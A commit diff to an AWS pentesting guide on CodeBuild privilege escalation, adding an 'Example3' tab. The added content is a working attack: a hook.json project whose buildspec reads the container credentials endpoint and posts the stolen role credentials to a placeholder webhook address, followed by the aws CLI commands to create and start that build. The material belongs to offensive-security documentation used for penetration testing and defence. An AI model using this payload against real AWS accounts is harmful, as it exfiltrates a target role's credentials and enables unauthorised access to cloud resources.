Update aws-codebuild-privesc.md

Create a hook.json file with command to send output from curl credentials URI to your webhook address

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -142,6 +142,42 @@ aws codebuild start-build --project-name reverse-shell-project
 
 ```
 
+{{#endtab }}
+
+{{#tab name="Example3" }}
+
+```bash
+# Generated by ex16x41, tested
+# Create a hook.json file with command to send output from curl credentials URI to your webhook address
+
+{
+    "name": "user-project-1",
+    "source": {
+        "type": "NO_SOURCE",
+        "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
+    },
+    "artifacts": {
+        "type": "NO_ARTIFACTS"
+    },
+    "environment": {
+        "type": "LINUX_CONTAINER",
+        "image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
+        "computeType": "BUILD_GENERAL1_SMALL"
+    },
+    "serviceRole": "ARN-OF-TARGET-ROLE"
+}
+
+# Create a new CodeBuild project with the hook.json file
+aws codebuild create-project --cli-input-json file:///tmp/hook.json  
+
+# Start a build with the new project
+aws codebuild start-build --project-name user-project-1
+
+# Get Credentials output to webhook address
+Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
+
+```
+
 {{#endtab }}
 {{#endtabs }}